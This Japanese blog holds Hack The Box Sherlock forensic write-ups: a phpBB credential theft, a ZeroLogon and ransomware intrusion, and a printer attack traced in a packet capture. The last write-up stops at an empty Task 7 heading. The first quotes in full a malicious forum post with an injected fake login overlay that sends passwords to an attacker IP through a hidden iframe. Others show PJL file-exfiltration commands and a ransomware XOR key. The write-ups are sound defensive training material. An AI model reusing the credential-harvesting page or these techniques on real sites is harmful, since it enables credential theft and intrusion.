はまやんはまやんはまやん

hamayanhamayan's blog

Hack The Box Sherlocks - Bumblebee Writeup

https://app.hackthebox.com/sherlocks/Bumblebee
Hack The Box Sherlocksとは

Sherlock Scenario

An external contractor has accessed the internal forum here at Forela via the Guest WiFi and they appear to have stolen credentials for the administrative user! We have attached some logs from the forum and a full database dump in sqlite3 format to help you in your investigation.
外部請負業者がゲスト Wi-Fi 経由で Forela の内部フォーラムにアクセスし、管理ユーザーの資格情報を盗んだようです。調査に役立つように、フォーラムからのいくつかのログと sqlite3 形式の完全なデータベース ダンプを添付しました。

webサーバのログとデータベースダンプが与えられる。

Tasks

Task 1

What was the username of the external contractor?
外部請負業者のユーザー名は何でしたか?

データベースダンプを見てみよう。
$ sqlitebrowser phpbb.sqlite3をして巡回する。 ユーザー情報が入ってそうなphpbb_usersテーブルを見て、一番最後のユーザー名を答えると正答だった。 apoole1

Task 2

What IP address did the contractor use to create their account?
請負業者はアカウントの作成にどの IP アドレスを使用しましたか?

Task 1と同じテーブルにIPアドレスも書いてある。 10.10.0.78

Task 3

What is the post_id of the malicious post that the contractor made?
業者が行った悪質な投稿のpost_idは何ですか?

Task 1と同じテーブルからuser_idが52と分かる。
postが書いてありそうなphpbb_postsを見てみると、
poster_id=52のポストが見つかる。
そのpost_idは9だった。
9

Task 4

What is the full URI that the credential stealer sends its data to?
資格情報スティーラーがデータを送信する完全な URI は何ですか?

同様にphpbb_postsを見ると投稿内容も保存されている。

<div><style>body {    z-index: 100;}.modal {    position:fixed;    top:0;    left:0;    height:100%;    width:100%;    z-index:101;    background-color:white;    opacity:1;}.modal.hidden {    visibility: hidden;}</style><script type="text/javascript">function sethidden(){    const d = new Date();    d.setTime(d.getTime() + (24*60*60*1000));    let expires = "expires="+ d.toUTCString();    document.cookie = "phpbb_token=1;" + expires + ";";    var modal = document.getElementById('zbzbz1234');    modal.classList.add("hidden");}document.addEventListener("DOMContentLoaded", function(event) {    let cookieexists = false;    let name = "phpbb_token=";    let cookies = decodeURIComponent(document.cookie);    let ca = cookies.split(';');    for(let i = 0; i < ca.length; i++)    {        let c = ca[i];        while(c.charAt(0) == ' ')        {            c = c.substring(1);        }        if(c.indexOf(name) == 0) {            cookieexists = true;        }    }    if(cookieexists){        return;    }    var modal = document.getElementById('zbzbz1234');    modal.classList.remove("hidden");});</script><iframe name="hiddenframe" id="hiddenframe" style="display:none"></iframe>    <div class="modal hidden" id="zbzbz1234" onload="shouldshow">    <div id="wrap" class="wrap">        <a id="top" class="top-anchor" accesskey="t"></a>        <div id="page-header">            <div class="headerbar" role="banner">                <div class="inner">                    <div id="site-description" class="site-description">                    <a id="logo" class="logo" href="./index.php" title="Board index"><span class="site_logo"></span></a>                    <h1>forum.forela.co.uk</h1>                    <p>Forela internal forum</p>                    <p class="skiplink"><a href="#start_here">Skip to content</a></p>                </div>                    <div id="search-box" class="search-box search-header" role="search">                    <form action="./search.php" method="get" id="search1">                    <fieldset>                        <input name="keywords" id="keywords1" type="search" maxlength="128" title="Search for keywords" class="inputbox search tiny" size="20" value="" placeholder="Search…">                        <button class="button button-search" type="submit" title="Search">                            <i class="icon fa-search fa-fw" aria-hidden="true"></i><span class="sr-only">Search</span>                        </button>                        <a href="./search.php" class="button button-search-end" title="Advanced search">                            <i class="icon fa-cog fa-fw" aria-hidden="true"></i><span class="sr-only">Advanced search</span>                        </a>                    </fieldset>                    </form>                </div>                    </div>            </div>    <div class="navbar" role="navigation">        <div class="inner">            <ul id="nav-main" class="nav-main linklist" role="menubar">                <li id="quick-links" class="quick-links dropdown-container responsive-menu" data-skip-responsive="true">                <a href="#" class="dropdown-trigger dropdown-toggle">                    <i class="icon fa-bars fa-fw" aria-hidden="true"></i><span>Quick links</span>                </a>                <div class="dropdown">                    <div class="pointer"><div class="pointer-inner"></div></div>                    <ul class="dropdown-contents" role="menu">                                <li class="separator"></li>                                <li>                                    <a href="./search.php?search_id=unanswered" role="menuitem">                                        <i class="icon fa-file-o fa-fw icon-gray" aria-hidden="true"></i><span>Unanswered topics</span>                                    </a>                                </li>                                <li>                                    <a href="./search.php?search_id=active_topics" role="menuitem">                                        <i class="icon fa-file-o fa-fw icon-blue" aria-hidden="true"></i><span>Active topics</span>                                    </a>                                </li>                                <li class="separator"></li>                                <li>                                    <a href="./search.php" role="menuitem">                                        <i class="icon fa-search fa-fw" aria-hidden="true"></i><span>Search</span>                                    </a>                                </li>                            <li class="separator"></li>                        </ul>                </div>            </li>                <li data-skip-responsive="true">                <a href="/phpBB3/app.php/help/faq" rel="help" title="Frequently Asked Questions" role="menuitem">                    <i class="icon fa-question-circle fa-fw" aria-hidden="true"></i><span>FAQ</span>                </a>                            <li class="rightside" data-skip-responsive="true">                <a href="./ucp.php?mode=login" title="Login" accesskey="x" role="menuitem">                    <i class="icon fa-power-off fa-fw" aria-hidden="true"></i><span>Login</span>                </a>            </li>                <li class="rightside" data-skip-responsive="true">                    <a href="./ucp.php?mode=register" role="menuitem">                        <i class="icon fa-pencil-square-o  fa-fw" aria-hidden="true"></i><span>Register</span>                    </a>                </li>        </li data-skip-responsive="true"></ul>            <ul id="nav-breadcrumbs" class="nav-breadcrumbs linklist navlinks" role="menubar">            <li class="breadcrumbs" itemscope="" itemtype="http://schema.org/BreadcrumbList" style="max-width: 936px;">                    <span class="crumb" itemtype="http://schema.org/ListItem" itemprop="itemListElement" itemscope=""><a href="./index.php" itemtype="https://schema.org/Thing" itemprop="item" accesskey="h" data-navbar-reference="index" title="Board index"><i class="icon fa-home fa-fw"></i><span itemprop="name">Board index</span></a><meta itemprop="position" content="1"></span>                </li>                    <li class="rightside responsive-search">                    <a href="./search.php" title="View the advanced search options" role="menuitem">                        <i class="icon fa-search fa-fw" aria-hidden="true"></i><span class="sr-only">Search</span>                    </a>                </li>        </ul>            </div>    </div>        </div>                <a id="start_here" class="anchor"></a>        <div id="page-body" class="page-body" role="main">                <div class="panel">                <div class="inner">                        <div class="content">                    <h3>Session Timeout</h3>            <br/>         <br/>                    <p>Your session token has timed out in order to proceed you must login again.</p>                </div>                        </div>            </div>    <form action="http://10.10.0.78/update.php" method="post" id="login" data-focus="username" target="hiddenframe">    <div class="panel">        <div class="inner">            <div class="content">            <h2 class="login-title">Login</h2>                <fieldset class="fields1">            <dl>                <dt><label for="username">Username:</label></dt>                <dd><input type="text" tabindex="1" name="username" id="username" size="25" value="" class="inputbox autowidth"></dd>            </dl>            <dl>                <dt><label for="password">Password:</label></dt>                <dd><input type="password" tabindex="2" id="password" name="password" size="25" class="inputbox autowidth" autocomplete="off"></dd>            </dl>            <dl>    <dd><label for="autologin"><input type="checkbox" name="autologin" id="autologin" tabindex="4">Remember me</label></dd>            <dd><label for="viewonline"><input type="checkbox" name="viewonline" id="viewonline" tabindex="5">Hide my online status this session</label></dd>            </dl>                <dl>                <dt>&nbsp;</dt>                <dd>    <input type="submit" name="login" tabindex="6" value="Login" class="button1" onclick="sethidden()"></dd>            </dl>                    </fieldset class="fields1"></div>            </div>    </div>        </form>            </div>            <div id="page-footer" class="page-footer" role="contentinfo">    <div class="navbar" role="navigation">        <div class="inner">            <ul id="nav-footer" class="nav-footer linklist" role="menubar">            <li class="breadcrumbs">    <span class="crumb"><a href="./index.php" data-navbar-reference="index" title="Board index"><i class="icon fa-home fa-fw" aria-hidden="true"></i><span>Board index</span></a></span>       </li>                <li class="responsive-menu hidden rightside dropdown-container"><a href="javascript:void(0);" class="js-responsive-menu-link responsive-menu-link dropdown-toggle"><i class="icon fa-bars fa-fw" aria-hidden="true"></i></a><div class="dropdown"><div class="pointer"><div class="pointer-inner"></div></div><ul class="dropdown-contents"></ul></div></li><li class="rightside">All times are <span title="UTC">UTC</span></li>                <li class="rightside">                    <a href="./ucp.php?mode=delete_cookies" data-ajax="true" data-refresh="true" role="menuitem">                        <i class="icon fa-trash fa-fw" aria-hidden="true"></i><span>Delete cookies</span>                    </a>                </li>        </ul>            </div>    </div>            <div class="copyright">            <p class="footer-row">                <span class="footer-copyright">Powered by <a href="https://www.phpbb.com/">phpBB</a>® Forum Software © phpBB Limited</span>            </p>            <p class="footer-row">                <a class="footer-link" href="./ucp.php?mode=privacy" title="Privacy" role="menuitem">                    <span class="footer-link-text">Privacy</span>                </a>                |                <a class="footer-link" href="./ucp.php?mode=terms" title="Terms" role="menuitem">                    <span class="footer-link-text">Terms</span>                </a>            </p>        </div>            <div id="darkenwrapper" class="darkenwrapper" data-ajax-error-title="AJAX error" data-ajax-error-text="Something went wrong when processing your request." data-ajax-error-text-abort="User aborted request." data-ajax-error-text-timeout="Your request timed out; please try again." data-ajax-error-text-parsererror="Something went wrong with the request and the server returned an invalid reply.">            <div id="darken" class="darken">&nbsp;</div>        </div>            <div id="phpbb_alert" class="phpbb_alert" data-l-err="Error" data-l-timeout-processing-req="Request timed out.">            <a href="#" class="alert_close">                <i class="icon fa-times-circle fa-fw" aria-hidden="true"></i>            </a>            <h3 class="alert_title">&nbsp;</h3><p class="alert_text"></p>        </div>        <div id="phpbb_confirm" class="phpbb_alert">            <a href="#" class="alert_close">                <i class="icon fa-times-circle fa-fw" aria-hidden="true"></i>            </a>            <div class="alert_text"></div>        </div>    </div>        </div>        <div>        <a id="bottom" class="anchor" accesskey="z"></a>    <img src="./cron.php?cron_type=cron.task.core.tidy_warnings" width="1" height="1" alt="cron"></div></div><span>Greetings everyone,<br>   <br>  I am just a visiting IT Contractor, it's a fantastic company y'all have here.<br> I hope to work with you all again soon.<br>   <br>  Regards,<br>Alex Poole</span></div>

formが用意されている。その送信先が答え。http://10.10.0.78/update.php

Task 5

When did the contractor log into the forum as the administrator? (UTC)
契約者はいつフォーラムに管理者としてログインしましたか? (UTC

phpbb_logを見ると
10.10.0.78 1682506392 LOG_ADMIN_AUTH_SUCCESS
のように記録が残っている。 26/04/2023 10:53:12

Task 6

In the forum there are plaintext credentials for the LDAP connection, what is the password?
フォーラムには LDAP 接続の平文認証情報がありますが、パスワードは何ですか?

DBのphpbb_configに書いてあった。
Passw0rd1

Task 7

What is the user agent of the Administrator user?
管理者ユーザーのユーザーエージェントとは何ですか?

$ cat access.log | grep 'admin'で一番最初に出てきたログのUAを答えた。
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36

Task 8

What time did the contractor add themselves to the Administrator group? (UTC)
請負業者が自分自身を管理者グループに追加したのはいつですか? (UTC

phpbb_logを見ると
10.10.0.78 1682506431 LOG_USERS_ADDED a:2:{i:0;s:14:"Administrators";i:1;s:6:"apoole";}
のように記録が残っている。
時刻の1682506431はunix timeっぽいので、UTCで変換すると答えになる。 26/04/2023 10:53:51

Task 9

What time did the contractor download the database backup? (UTC)
請負業者はデータベースのバックアップを何時にダウンロードしましたか? (UTC

$ cat access.log | grep 'backup'
10.10.0.78 - - [26/Apr/2023:11:56:28 +0100] "GET /adm/index.php?i=acp_database&sid=eca30c1b75dc3eed1720423aa1ff9577&mode=backup HTTP/1.1" 200 3770 "http://10.10.0.27/adm/index.php?i=acp_database&sid=eca30c1b75dc3eed1720423aa1ff9577&mode=backup&action=download" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
...
10.10.0.78 - - [26/Apr/2023:12:01:38 +0100] "GET /store/backup_1682506471_dcsr71p7fyijoyq8.sql.gz HTTP/1.1" 200 34707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
...

何やら怪しいダウンロード記録があるのでこれを答える。
26/04/2023 11:01:38

Task 10

What was the size in bytes of the database backup as stated by access.log?
access.log に記載されているデータベース バックアップのサイズはバイト単位でどれくらいですか?

Task 9と同じところにファイルサイズも書いてある。

10.10.0.78 - - [26/Apr/2023:12:01:38 +0100] "GET /store/backup_1682506471_dcsr71p7fyijoyq8.sql.gz HTTP/1.1" 200 34707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"

34707

Flare-On 解説まとめ (工事中)

The Flare-On Challenge

Flare-On 10

自分メモ。2まで解けてる

# 題名 キーワード(白塗りしてあるので選択で見て) Writeup
1 X Mono 公式 日本語
2 ItsOnFire apk 公式 日本語
3 Mypassion 公式
4 Aimbot 公式
5 Where_am_i 公式
6 FlareSays 公式
7 Flake 公式
8 AmongRust 公式
9 Mbransom 公式
10 Kupo 公式
11 Over_the_rainbow 公式
12 HVM 公式
13 Y0da 公式

Hack The Box Sherlocks - OpTinselTrace-5 Writeup

https://app.hackthebox.com/sherlocks/OpTinselTrace-5
Hack The Box Sherlocksとは

Sherlock Scenario

You'll notice a lot of our critical server infrastructure was recently transferred from the domain of our MSSP - Forela.local over to Northpole.local. We actually managed to purchase some second hand servers from the MSSP who have confirmed they are as secure as Christmas is! It seems not as we believe christmas is doomed and the attackers seemed to have the stealth of a clattering sleigh bell, or they didn’t want to hide at all!!!!!! We have found nasty notes from the Grinch on all of our TinkerTech workstations and servers! Christmas seems doomed. Please help us recover from whoever committed this naughty attack!
最近、重要なサーバー インフラストラクチャの多くが MSSP のドメイン (Forela.local) から Northpole.local に移管されたことがわかります。実際、私たちは MSSP から中古サーバーをいくつか購入することができました。MSSP はクリスマスと同じくらい安全であることを確認しました。私たちが信じているようにクリスマスは滅びる運命にあるわけではないようで、攻撃者らはそりのカタカタ音を立てるような鐘の音のようなステルスを持っていたか、まったく隠れたくなかったように見えました!!!!!! すべての TinkerTech ワークステーションとサーバーで、グリンチからの厄介なメモが見つかりました。クリスマスは運命にあるようだ。このいたずらな攻撃を行った人物から立ち直るためにご協力ください。

2023年のSherlocksクリスマスイベント問題の5問目、最終問題。
Windowsに対するフォレンジックデータを解析していく。

Tasks

Task 1

Which CVE did the Threat Actor (TA) initially exploit to gain access to DC01?
脅威アクター (TA) が DC01 にアクセスするために最初に悪用したのはどの CVE ですか?

とりあえずノーヒントなのでイベントログをhayabusaで解析してみる。

╭─────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ Top critical alerts:                                         Top high alerts:                           │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
│ Active Directory Replication from Non Machine Account (66)   Mimikatz DC Sync (66)                      │
│ Defender Alert (Severe) (36)                                 Antivirus Relevant File Paths Alerts (24)  │
│ Antivirus Exploitation Framework Detection (6)               Antivirus Hacktool Detection (18)          │
│ Antivirus Ransomware Detection (2)                           Defender Alert (High) (14)                 │
│ Antivirus Password Dumper Detection (1)                      User Added To Global Domain Admins Grp (6) │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤

この結果を眺めるとこんな感じの検出が出ている。

2023-12-13 09:19:52Z | Mimikatz DC Sync 2023-12-13 09:24:27Z | powershell.exe -c Reset-ComputerMachinePassword

ここからZeroLogonが使われていることを当てる。大分時間をかけてしまった。
CVE-2020-1472が答え。

Task 2

What time did the TA initially exploit the CVE? (UTC)
TA が最初に CVE を悪用したのはいつですか? (UTC

どのタイミングを悪用タイミングと判断するかであるが、ZeroLogonを使ってマシンアカウントのパスワードを変更した履歴の日時を答えると正答だった。
Security.evtxからEventId:4742を漁り、Task 1で報告のあった時刻に近いものを答える。2023-12-13 09:24:23

Task 3

What is the name of the executable related to the unusual service installed on the system around the time of the CVE exploitation?
CVE の悪用の頃にシステムにインストールされた異常なサービスに関連する実行可能ファイルの名前は何ですか?

サービスインストールに関連するイベントログを探そう。
System.evtxのEventId:7045に情報が残っていた。

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Service Control Manager" Guid="{555908d1-a6d7-4695-8e1e-26931d2012f4}" EventSourceName="Service Control Manager" /> 
  <EventID Qualifiers="16384">7045</EventID> 
  <Version>0</Version> 
  <Level>4</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8080000000000000</Keywords> 
  <TimeCreated SystemTime="2023-12-13T09:24:23.3902677Z" /> 
  <EventRecordID>18393</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="700" ThreadID="2648" /> 
  <Channel>System</Channel> 
  <Computer>DC01.northpole.local</Computer> 
  <Security UserID="S-1-5-21-555278382-3747106525-1010465941-500" /> 
  </System>
- <EventData>
  <Data Name="ServiceName">vulnerable_to_zerologon</Data> 
  <Data Name="ImagePath">%systemroot%\hAvbdksT.exe</Data> 
  <Data Name="ServiceType">user mode service</Data> 
  <Data Name="StartType">demand start</Data> 
  <Data Name="AccountName">LocalSystem</Data> 
  </EventData>
  </Event>

答えるべきは実行ファイルの名前なので hAvbdksT.exe が答え。

Task 4

What date & time was the unusual service start?
異例のサービス開始日時は何時ですか?

サービスの状態変更についてはEventID:7036に残るので、これでフィルタリングしてサービス名の
vulnerable_to_zerologonで検索すれば見つかる。

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Service Control Manager" Guid="{555908d1-a6d7-4695-8e1e-26931d2012f4}" EventSourceName="Service Control Manager" /> 
  <EventID Qualifiers="16384">7036</EventID> 
  <Version>0</Version> 
  <Level>4</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8080000000000000</Keywords> 
  <TimeCreated SystemTime="2023-12-13T09:24:24.1072677Z" /> 
  <EventRecordID>18395</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="700" ThreadID="792" /> 
  <Channel>System</Channel> 
  <Computer>DC01.northpole.local</Computer> 
  <Security /> 
  </System>
- <EventData>
  <Data Name="param1">vulnerable_to_zerologon</Data> 
  <Data Name="param2">running</Data> 
  <Binary>760075006C006E0065007200610062006C0065005F0074006F005F007A00650072006F006C006F0067006F006E002F0034000000</Binary> 
  </EventData>
  </Event>

2023-12-13 09:24:24が答え。

Task 5

What was the TA's IP address within our internal network?
内部ネットワーク内の TA の IP アドレスは何でしたか?

2023-12-13 09:24:24Z周りで攻撃が発生していそうなので、このあたりのログイン履歴を見てみる。
EventId:4624でフィルタリングして眺める。
すると、見慣れぬNORTHPOLE\DC01$でのログインが2023-12-13 09:24:23に発生している。
この時に使われたIPアドレスを使うと正答。

{"EventData":{"Data":[{"@Name":"SubjectUserSid","#text":"S-1-0-0"},{"@Name":"SubjectUserName","#text":"-"},{"@Name":"SubjectDomainName","#text":"-"},{"@Name":"SubjectLogonId","#text":"0x0"},{"@Name":"TargetUserSid","#text":"S-1-5-21-555278382-3747106525-1010465941-1000"},{"@Name":"TargetUserName","#text":"DC01$"},{"@Name":"TargetDomainName","#text":"NORTHPOLE"},{"@Name":"TargetLogonId","#text":"0x1E1165"},{"@Name":"LogonType","#text":"3"},{"@Name":"LogonProcessName","#text":"NtLmSsp "},{"@Name":"AuthenticationPackageName","#text":"NTLM"},{"@Name":"WorkstationName"},{"@Name":"LogonGuid","#text":"00000000-0000-0000-0000-000000000000"},{"@Name":"TransmittedServices","#text":"-"},{"@Name":"LmPackageName","#text":"NTLM V2"},{"@Name":"KeyLength","#text":"128"},{"@Name":"ProcessId","#text":"0x0"},{"@Name":"ProcessName","#text":"-"},{"@Name":"IpAddress","#text":"192.168.68.200"},{"@Name":"IpPort","#text":"53228"},{"@Name":"ImpersonationLevel","#text":"%%1833"},{"@Name":"RestrictedAdminMode","#text":"-"},{"@Name":"TargetOutboundUserName","#text":"-"},{"@Name":"TargetOutboundDomainName","#text":"-"},{"@Name":"VirtualAccount","#text":"%%1843"},{"@Name":"TargetLinkedLogonId","#text":"0x0"},{"@Name":"ElevatedToken","#text":"%%1842"}]}}

よって192.168.68.200が答え。

Task 6

Please list all user accounts the TA utilised during their access. (Ascending order)
TA がアクセス中に使用したすべてのユーザー アカウントをリストしてください。(昇順)

EventId:4624でフィルタリングして、更にキーワードとして192.168.68.200を使って絞り込もう。

NORTHPOLE\DC01$
NORTHPOLE\Administrator
NORTHPOLE\Bytesparkle
NT AUTHORITY\ANONYMOUS LOGON

このようにログイン履歴が残っている。
ユーザーアカウントに絞って答えると Administrator, Bytesparkleが答えだった。

Task 7

What was the name of the scheduled task created by the TA?
TA が作成したスケジュールされたタスクの名前は何ですか?

C:\Windows\System32\Tasks以下を見てみると、C:\Windows\System32\Tasks\Microsoft\svc_vncというファイルがある。
svc_vncが答え。
ちなみにNORTHPOLE\bytesparkleが追加したみたい。

Task 8

Santa's memory is a little bad recently! He tends to write a lot of stuff down, but all our critical files have been encrypted! Which creature is Santa's new sleigh design planning to use?
最近サンタさんの物覚えが悪いんです!彼は多くのことを書き留める傾向がありますが、私たちの重要なファイルはすべて暗号化されています。サンタの新しいそりのデザインで使用される予定の生き物はどれですか?

splunk_svd.dllをghidraに入れて解析してみると、暗号化処理を行っているように見える。
それっぽい暗号化処理を探していくと、このような部分が見つかる。

fputc((int)"EncryptingC4Fun!"[lVar29] ^ uVar18,_File_00);

EncryptingC4Fun!でXORしているだけでは?ということで、
topsecret.png.xmaxについてEncryptingC4Fun!でXORするとpngファイルが復元できる。
中を見てみるとユニコーンの画像がTOP SECRETになっているので英語で答えると正答。
Unicorn

Task 9

Please confirm the process ID of the process that encrypted our files.
ファイルを暗号化したプロセスのプロセス ID を確認してください。

hayabusaでキーワード.xmaxで検索するとよく分からないイベントログが引っかかる。

2023-12-13 20:03:20.445 +09:00 ‖ DC01.northpole.local ‖ MS-Win-UAC-FileVirtualization/Op ‖ 4000 ‖ 42 ‖ - ‖ CreateOptions: 83886176 ¦ DesiredAccess: 1180054 ¦ FileNameBuffer: \Device\HarddiskVolume4\ProgramData\VMware\VMware VGAuth\vgauth.conf.xmax ¦ FileNameLength: 73 ¦ Flags: 8 ¦ IrpMajorFunction: 0 ¦ ProcessImageNameBuffer: \Device\HarddiskVolume4\Windows\System32\rundll32.exe ¦ ProcessImageNameLength: 53 ¦ Sid: S-1-5-21-555278382-3747106525-1010465941-1110 ¦ SidLength: 28 ‖ DC01.northpole.local-KAPE/uploads/auto/C%3A/Windows/System32/winevt/Logs/Microsoft-Windows-UAC-FileVirtualization%254Operational.evtx

よくわからんから開いて、.xmaxで検索して、イベントログを見る。

 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-UAC-FileVirtualization" Guid="{c02afc2b-e24e-4449-ad76-bcc2c2575ead}" /> 
  <EventID>4000</EventID> 
  <Version>0</Version> 
  <Level>4</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2023-12-13T11:03:20.4382420Z" /> 
  <EventRecordID>37</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="5828" ThreadID="6480" /> 
  <Channel>Microsoft-Windows-UAC-FileVirtualization/Operational</Channel> 
  <Computer>DC01.northpole.local</Computer> 
  <Security UserID="S-1-5-21-555278382-3747106525-1010465941-1110" /> 
  </System>
- <EventData>
  <Data Name="Flags">8</Data> 
  <Data Name="SidLength">28</Data> 
  <Data Name="Sid">S-1-5-21-555278382-3747106525-1010465941-1110</Data> 
  <Data Name="FileNameLength">79</Data> 
  <Data Name="FileNameBuffer">\Device\HarddiskVolume4\ProgramData\VMware\VMware Tools\tools.conf.example.xmax</Data> 
  <Data Name="ProcessImageNameLength">53</Data> 
  <Data Name="ProcessImageNameBuffer">\Device\HarddiskVolume4\Windows\System32\rundll32.exe</Data> 
  <Data Name="CreateOptions">83886176</Data> 
  <Data Name="DesiredAccess">1180054</Data> 
  <Data Name="IrpMajorFunction">0</Data> 
  </EventData>
  </Event>

よくわからんけどProcessIDが書いてあって答えると正答だった。5828

https://learn.microsoft.com/ja-jp/windows-server/security/user-account-control/how-user-account-control-works
ファイル操作はUACによって仮想化が挟まるらしい。
なんもわからんが、これによってファイル操作に対してログが残るようになる。

Hack The Box Sherlocks - OpTinselTrace-4 Writeup

https://app.hackthebox.com/sherlocks/OpTinselTrace-4
Hack The Box Sherlocksとは

Sherlock Scenario

Printers are important in Santa’s workshops, but we haven’t really tried to secure them! The Grinch and his team of elite hackers may try and use this against us! Please investigate using the packet capture provided! The printer server IP Address is 192.168.68.128
プリンターはサンタさんのワークショップでは重要ですが、私たちはプリンターを確保しようとしていませんでした。グリンチと彼のエリートハッカーチームがこれを利用して私たちを攻撃しようとするかもしれません! 提供されているパケット キャプチャを使用して調査してください。プリンターサーバーのIPアドレスは192.168.68.128です。

2023年のSherlocksクリスマスイベント問題の4問目。
ネットワークパケットを解析する問題。

Tasks

Task 1

The performance of the network printer server has become sluggish, causing interruptions in the workflow at the North Pole workshop. Santa has directed us to generate a support request and examine the network data to pinpoint the source of the issue. He suspects that the Grinch and his group may be involved in this situation. Could you verify if there is an IP Address that is sending an excessive amount of traffic to the printer server?
ネットワーク プリンター サーバーのパフォーマンスが低下し、北極の作業場でのワークフローが中断されました。サンタさんは、サポート リクエストを作成し、ネットワーク データを調べて問題の原因を特定するように私たちに指示しました。彼は、グリンチとそのグループがこの状況に関与しているのではないかと疑っています。プリンタ サーバーに過剰な量のトラフィックを送信している IP アドレスがあるかどうかを確認していただけますか?

プリンターサーバーのIPアドレスは192.168.68.128です。

とあるので、ここに大量のトラフィックを送信しているIPアドレスを探せばいい。
WireSharkの「統計 > 対話」のIPv4を見てみよう。
すると172.17.79.133と192.168.68.128で多くの通信が見られる。
172.17.79.133が答え。

Task 2

Bytesparkle being the technical Lead, found traces of port scanning from the same IP identified in previous attack. Which port was then targeted for initial compromise of the printer?
技術リーダーである Bytesparkle は、以前の攻撃で特定されたのと同じ IP からのポート スキャンの痕跡を発見しました。では、プリンタの最初の侵害の標的となったのはどのポートでしょうか?

(ip.src == 172.17.79.133 && ip.dst == 192.168.68.128) || (ip.src == 192.168.68.128 && ip.dst == 172.17.79.133)でフィルタリングして内容を見ていこう。
上から見ていくとpingの後、確かにポートスキャンっぽく複数ポートに接続している。
スキャンのあと9100/tcpで色々やっているので9100/tcpを攻撃することにしたのだろうと想像できる。
9100が答え。

Task 3

What is the full name of printer running on the server?
サーバー上で実行されているプリンターのフルネームは何ですか?

9100/tcpを調べると 9100番ポートはそのようなポート番号の一つで、コンピュータとネットワークプリンタがIPネットワーク上で通信するためのRAWプロトコルなどで利用される。 とのこと。
TCPストリーム28を追跡で見てみると、そこそこ視認できる情報がある。
プリンタ名っぽいやつを答えると正答 NorthPole HP LaserJet 4200n

Task 4

Grinch intercepted a list of nice and naughty children created by Santa. What was name of the second child on the nice list?
グリンチはサンタが作成した優しくていたずらな子供たちのリストを傍受しました。素敵なリストの 2 番目の子供の名前は何ですか?

Task 3を見てみるとリストが取得できている。

.%-12345X@PJL FSUPLOAD NAME="0:/christmas/2023/Nice-kids/list1.txt" OFFSET=0 SIZE=180
@PJL ECHO DELIMITER56482

.%-12345X@PJL FSUPLOAD FORMAT:BINARY NAME="0:/christmas/2023/Nice-kids/list1.txt" OFFSET=0 SIZE=180

    Jennifer Sanchez
    Douglas Price
    Joshua Ross
    Catherine Bailey
    Martha Clark
    Ruby Kelly
    Edward Parker
    Tammy James
    Lori Robinson
    Wayne Gonzales
@PJL ECHO DELIMITER56482

Rooting a Printer: From Security Bulletin to Remote Code Execution - Blog | Tenable®
これか、こういう攻撃があるのか。
2番目のDouglas Priceが答え。

Task 5

The Grinch obtained a print job instruction file intended for a printer used by an employee named Elfin. It appears that Santa and the North Pole management team have made the decision to dismiss Elfin. Could you please provide the word for word rationale behind the decision to terminate Elfin's employment?
グリンチは、エルフィンという名前の従業員が使用するプリンタを対象とした印刷ジョブ指示ファイルを入手しました。サンタと北極管理チームはエルフィンの解雇を決定したようだ。エルフィン氏の雇用終了の決定の根拠を一言一句説明していただけますか。

これもTask 3で得られた情報から答えることができる。

@PJL FSUPLOAD FORMAT:BINARY NAME="0:/saveDevice/SavedJobs/InProgress/Layoff-notice/Personal-Notice-Employee43.pcl" OFFSET=0 SIZE=696
<ESC>%-12345X@PJL JOB NAME="Elfin-Layoff"
@PJL ENTER LANGUAGE=PCL
<ESC>E                                      
<ESC>&l0E                                   
<ESC>(s1p12v0s3b16602T                      
<ESC>&a1L                                   
<ESC>*p150x300Y                             
<ESC>*c0t0b3T                               
Warning : This print is only meant for Elfin and higher management.

Reason for layoff : The addressed employee is confirmed to be working with grinch and team. According to Clause 69 , This calls for an immediate expulsion.

<ESC>&l2A                                      % Perform form feed to eject the page
@PJL EOJ NAME="MerryChristmasJob"
<ESC>%-12345X  @PJL ECHO DELIMITER19325

The addressed employee is confirmed to be working with grinch and team. According to Clause 69 , This calls for an immediate expulsion.が答え。

Task 6

What was the name of the scheduled print job?
スケジュールされた印刷ジョブの名前は何でしたか?

(ip.src == 172.17.79.133 && ip.dst == 192.168.68.128) || (ip.src == 192.168.68.128 && ip.dst == 172.17.79.133)にフィルタリングを戻して再度確認すると、
TCPストリーム46がポート9100/tcpで残っている。
追跡で確認してみると、ScheduledJobsを確認している。
JOB NAME="MerryChristmas+BonusAnnouncment"というのを見て取ることができる。
MerryChristmas+BonusAnnouncmentが答え。

Task 7

